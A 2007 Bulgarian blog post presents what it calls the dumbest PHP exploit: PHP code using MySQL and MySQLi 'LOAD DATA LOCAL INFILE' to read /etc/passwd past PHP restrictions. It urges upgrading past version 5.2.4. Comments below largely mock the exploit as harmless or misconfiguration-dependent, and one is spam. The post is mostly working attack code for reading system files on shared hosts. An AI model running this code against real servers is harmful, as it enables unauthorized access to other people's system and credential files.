Tuesday, October 30, 2007

Най-тъпият PHP exploit в света!

През изминалият месец излязоха куп бъгове и дупки в сигурността на PHP. Куп бъгави функции, куп injection-и, но този беше най-фрапантният:

MySQL:

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);



MySQLi:

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();


Не е ли тъп само? Vulnerable са всички версии под 5.2.4, така че съветвам всички да ъпдейтват.
Естествено, при правилни permissions едва ли ще се стигне до успех, но ми е интересно на колко shared hosting компании админите не са мързеливи.

7 comments:

Unknown said...

Privet, stilut na koda i sluchvashtoto se niama da gi komentiram zashtoto sa pod vsiakakva kritika, no ne mislia che tova e tolkova frapanten sluchai nito che e nesiguren. Ima mnogo po opasni problemi kato injection naprimer.

Anonymous said...

Hi,
Hey, you might check out www.VerveEarth.com, a site for bloggers built on a GoogleMaps interface. You can add your blog to the global mosaic, drive traffic, and add a widget to your blog. Cheers! -VerveEarth Team

Марто said...

ot4eto, кое е по-опасно да получиш паролите на една машина?

Anonymous said...

Tova sa absolutni gluposti, pi4, 99% ot hosting firmite polzvat gotovi produkti ot tipa na cpanel ili PLESK ili podobni.

Pri tqh DB ne moje da se syzdava nikade osven prez tqhniq interface.

sorry, try to hack again.

Lyubomir Petrov said...

:D
Това сигурно си го пробвал на localhost на М$ машина или на някое лайф Cd на линукс :)

Да те питам и какво ще правиш с тези ""пароли"", аз в /etc/passwd незнам да има пароли :D

Прочети малко повече в manual-а на MySQL, това което показваш не е НИКАКЪВ бъг а екстра на MySQL, която може да се конфигурира а на shared hostings е disabled by default + chroots + нормални права, а не single-user mode на машината.

Прочети повече, преди да се опитваш да обиждаш PHP :)

Anonymous said...

po-goliama glupost ne sam i chuval
che da ti mailna edin /etc/passwd pak ti ako iskash si go printvai na fanelka

ai sas zdrave

Anonymous said...

Прекалено ламерски и детински ми изглежда този експлойт, макар че не изключвам някой да ми хакне сайта с такава глупост :-D

Не разбрах как ще запише PHP файла на сървъра, как ще създаде база данни, след като root-а на MySQL е с парола?!

А, да :-) Интересно ми е колко време ще им отнеме да ми разберат паролите, след като са получили /etc/passwd :-D


P.S. DocumentRoot на сървъра ми е с noexec в /etc/fstab :-)